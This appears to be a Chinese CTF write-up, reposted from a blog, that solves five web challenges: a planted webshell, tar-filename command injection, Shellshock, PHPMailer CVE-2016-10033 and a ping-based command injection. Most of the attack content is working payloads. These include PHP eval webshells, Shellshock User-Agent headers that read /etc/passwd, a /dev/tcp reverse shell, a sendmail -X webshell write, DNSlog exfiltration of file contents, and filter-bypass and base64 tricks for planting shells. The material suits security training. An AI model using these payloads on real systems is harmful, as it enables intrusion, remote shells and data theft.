声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文转发于涂寐’s Blogs:https://0xtlu.github.io,转载请注明出处!
0x00 webshell&中国菜刀
0o00 题目提示
1 2 3 4 5 6 | webshell&中国菜刀题目URL:http://47.100.220.113:8013提示:flag仍然在数据库里面哦! |
0o01 执行过程
-
访问提示URL,得到如下内容:
1 2
菜刀一句话:http://47.100.220.113:8013/webshell.php 密码: whalwl
-
蚁剑直连,找数据库账密位置。发现在配置文件里
/var/www/html/conn.php
,得到如下信息:1 2 3 4
$servername = "mysql"; $username = "test"; $password = "test"; DATABASE:test123
-
蚁剑:数据管理 –> 对应行右键 –>
数据操作
–> 添加 –> ……。
0x01 命令执行01
0o00 题目提示
1 2 3 | 命令执行01题目URL:http://47.100.220.113:8031/ |
0o01 Linux命令符
1 2 3 4 5 6 | ; --> 各命令依次执行并输出结果,不会互相影响:ls;whoami。 | --> 管道符,其左边命令的输出 作为 其右边命令的输入:pwd|ls。 & --> 后台运行符,将待运行命令丢到后台运行ls /&pwd。 && --> 逻辑与,其左边命令成功执行下,方才执行其右边命令:ls /&&pwd。 || --> 逻辑或,其左边命令执行失败下,方才执行其右边命令:ls /||pwd。 ` --> 反引号,使用时,获取返回结果赋值给变量输出:echo `pwd`。 |
0o02 执行过程
- 提供的网页,有个
导出所有文件
的功能,是导出一个压缩包。重新命名,得到下载路径:http://47.100.220.113:8031/backup/test.zip
。文件名被带入执行,看样子,执行点就在这命令框
里了。
-
利用命令连接符,尝试输入如下命令(注:
/export.php
在网站根目录,在不指定生成目录情况下,命令执行后生成的文件在当前目录,当前为网站根目录)1 2 3 4 5 6 7 8 9 10
backup.tar.gz; echo admin > test.txt http://47.100.220.113:8031/test.txt 访问得到:admin images/auto.jpg images/potato.jpgbackup.tar.gz; echo '<?php @eval($_POST["test"]); ?>' > test.php http://47.100.220.113:8031/test.php 访问得到:images/auto.jpg images/potato.jpg 蚁剑连接即可backup.tar.gz& echo '<?php @eval($_POST["test"]); ?>' > haha.php
-
源码分析
1 2 3 4 5 6 7 8 9
# 获取传入的文件名后,不过滤直接带入 exec() 函数执行<?phpif (isset($_POST['name'])){$name = $_POST['name'];exec("tar -zcvf backup/$name images/*.jpg");echo "<div class=\"alert alert-success\" role=\"alert\">导出成功,<a href='backup/$name'>点击下载</a></div>";} ?>
0x02 破壳漏洞
0o00 题目提示
1 2 3 4 5 6 7 8 9 10 | 破壳漏洞CVE编号:CVE-2014-6271题目URL:http://118.190.133.35:8029/cgi-bin/poc.cgi提示:flag在服务器根目录2014年9月25日,外媒曝出一个广泛存在于主流操作系统的漏洞bash,该漏洞会影响到Redhat、CentOS、Ubuntu、Debian、Fedora 、AmazonLinux、OS X 10.10等平台,影响范围和纵深程度都可能匹敌或者超过当年4月发现的“心脏滴血”(Heartbleed)漏洞。 |
0o01 ShellShock
- 漏洞概要:2014年9月24日,Bash 惊爆严重安全漏洞,编号为 CVE-2014-6271 ,该漏洞将导致远程攻击者在受影响的系统上执行任意代码。
- 须知:GNU Bash 是一个为 GNU 计划编写的 Unix Shell,广泛使用在 Linux 系统内。
- 漏洞描述:对 GNU Bash 4.3 及之前版本评估时发现,在某些构造的环境变量中存在安全漏洞。某些服务和应用允许未经身份验证的远程攻击者提供环境变量,使其可在环境变量内的函数定义后闭合构造自定义的环境变量来改变或绕过环境限制执行 Shell 命令。而这些攻击者创建的环境变量中可包含恶意代码,当 Bash Shell 被调用时被立即执行,进而造成破坏。
- 漏洞影响:GNU Bash <= 4.3。
- 漏洞危害:高危,10级。
- 参考连接:破壳漏洞(ShellShock)应急概要V3 - 知道创宇
0o01 执行过程
- 拿到flag:
flag{3dcc4094fef7406090d66d67d59d367f}
。 - 参考:Shellshock漏洞检测及利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
// Content-Type: text/plain; --> 指定返回包数据内容类型,此处设置为纯文本格式 // id 命令:显示用户的ID,以及所属群组的ID User-Agent: () { flag; }; echo Content-Type: text/plain; echo; /usr/bin/id// 列出服务器根目录文件 User-Agent: () { flag;};echo Content-Type:text/plain;echo;/bin/ls /; User-Agent: () { flag;};echo;echo $(/bin/ls -al / );// 显示服务器根目录下的 flag 内容 User-Agent: () { flag; }; echo Content-Type: text/plain; echo; /bin/cat /this_is_flag// 其他命令 User-Agent: () { flag;};echo;/usr/bin/whoami User-Agent: () { flag;};echo;/bin/pwd User-Agent: () { flag;};echo;/bin/cat /etc/passwd
1 2
// 未测试 User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/192.168.0.112/8888 0>&1;
1 2 3 4 5 6 7 8 9 | GET /cgi-bin/poc.cgi HTTP/1.1 Host: 118.190.133.35:8029 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/cat /this_is_flag Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close |
0x03 PHPmailer
0o00 题目提示
1 2 3 4 5 | PHPmailer网站URL:http://118.190.133.35:8038/提示:flag在服务器系统根目录下,文件名为flag |
0o01 phpMailer
- phpMailer 是一个非常强大的 php发送邮件类,可以设定发送邮件地址、回复地址、邮件主题、html网页,上传附件,并且使用起来非常方便。
- PHPMailer 由于调用系统的
sendmail
命令,且在class.phpmailer.php
中没有对用户请求做限制,致使攻击者可利用–X
参数将包含恶意代码的流量记录到指定文件中,进而达到 RCE 的效果。 - 利用要求:① PHPMailer Version < 5.2.18; ② PHP 没有开启 safe_mode(默认); ③ 攻击者需要知道 Web 服务部署的路径。
- 相关CMS:WordPress、Drupal、Joomla! 等 CMS 使用该组件发送邮件。
- 参考文章:
0o02 执行过程
- 访问链接,直接一个邮箱发送界面。好多框,有框就x……
- Linux 操作系统 –> 猜测绝对路径。
- php 脚本语言 –> 解析 shell。
- 潮汐试了下, 没识别到CMS,扫目录吧。
http://118.190.133.35:8038/phpmailer/VERSION
–> 5.2.16http://118.190.133.35:8038/phpmailer/SECURITY.md
–> CVE-2016-10033- 有前辈写的 shell ,可以盲猜一波常用 shell 口令:admin、123、111、aaa、shell、test……
- 手动GetShell,构造如下信息直接写马
1 2 3 | // 收件人:任意 // 收件箱:"demo". -OQueueDirectory=/tmp/. -X/var/www/html/anluan.php @test.com // 邮件内容:<?php eval($_POST[anluan]);?> |
-
点击发送,
邮件发送不成功.发送错误: Could not instantiate mail function.
……没得事,直接访问:http://118.190.133.35:8038/anluan.php
,有一堆流量信息,拿蚁剑……
-
构造其他语句,看起来比较像命令执行
1 2
// 邮件内容:<?php system($_GET["anluan"]);?> // 访问:view-source:http://118.190.133.35:8038/anluan.php?anluan=ls%20/
-
拿到flag:
flag{0c9e8774f4e5684d35037ba02d5af72a}
0x04 命令执行02
0o00 题目提示
1 2 3 | 命令执行02题目URL:http://47.100.220.113:8032/ |
0o01 DNSlog
- DNS:域名系统,是实现
域名
与IP
相互映射的服务。 - DNSlog:存储在DNS上与域名相关的信息,如记录着对
域名/IP
的访问信息,类似日志。 - 参考:DNSlog介绍_告白热的博客-CSDN博客_dnslog
0o01 执行过程
- 访问提示,啥玩意,感觉又被人干崩了!先扫下目录吧。
官方还原后,访问跳转http://47.100.220.113:8032/login/
,直接弱口令admin/admin
登录后台。
-
命令执行,,,找输入点,,,
The console
IP和端口,检测网络情况,,,ping,,,应该是这吧。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
// 写入:127.0.0.1 // 检测网络情况,口头计时,算 1s 吧// 写入:127.0.0.1|sleep 5 // 延迟超过5s,初步判断为存在点// 写入:|ls -l />ls.txt // 访问:http://47.100.220.113:8032/ls.txt // 查看服务器根目录下的子目录及文件 --> 可知,flag为一个文件。// 写入:|cat /flag>flag.txt // 访问:http://47.100.220.113:8032/flag.txt // 直接拿到flag:flag{971fd930a06861f43373adddc2f499c4}// 利用DNSlog外带数据方式: // 写入:127.0.0.1|ping admin.il5sxk.ceye.io // http://ceye.io/records/dns 处查看记录,Name 存在记录:admin.il5sxk.ceye.io// 写入:127.0.0.1|ping `cat \flag`.il5sxk.ceye.io // 拿到flag。
-
检测网络情况,显示网络异常,但还是能成功读取到flag:
flag{971fd930a06861f43373adddc2f499c4}
。
- 文件写入(getshell)
// 127.0.0.1|echo `cat test.txt|base64`>./vendor/admin.txt
// 目录扫描,可以得到站点存在存在目录浏览漏洞,观察可知是否生成文件。
// 或通过站点对不存在网页的提示进行判断,如访问33.php,提示:Not Found。// 需要确定,内容是否真的写入,还是一个空文件 --> 不是空文件,不确保写入内容与需求一致。
// 直接写入一句话木马,被过滤!猜想,多文件拼接成一个文件。
// 注:文件需要被作为php文件解析。
// 实际步骤如下:// 去掉 2.txt 中的单引号:|echo `sed "s/'//g" 2.txt`>2.txt
// 去掉 3.txt 中的换行符:|echo `sed "s/n//g" 3.txt`>3.txt
// 去掉 4.txt 中的空格:|echo `sed "s/ //g" 4.txt`>4.txt
// 写入一句话木马的第一部分:|echo '<'>11.txt
// 写入一句话木马的第二部分:|echo '?php'>12.txt
// 写入一句话木马的第三部分:|echo '@eval($_POST["shell"]);?>'>13.txt
// 合并一二部分:|cat 11.txt 12.txt >14.txt
// 去掉拼接造成的换行符:|echo `sed "s/n//g" 14.txt`>14.txt
// 去掉删除换行符造成的空格:|echo `sed "s/ //g" 14.txt`>14.txt
// 拼入第三部分:cat 14.txt 13.txt >15.txt
// 去掉拼接造成的换行符:|echo `sed "s/n//g" 15.txt`>15.txt
// 得到正确的一句话木马,复制到解析成php文件的目录即可,如网站根目录。// 很麻烦吧
// 利用base64编码
// 一句话木马编码后写入:|echo 'PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbCJdKTs/Pgo='>admin.txt
// 解码写入其他文件:|echo `base64 -d admin.txt`>admin.php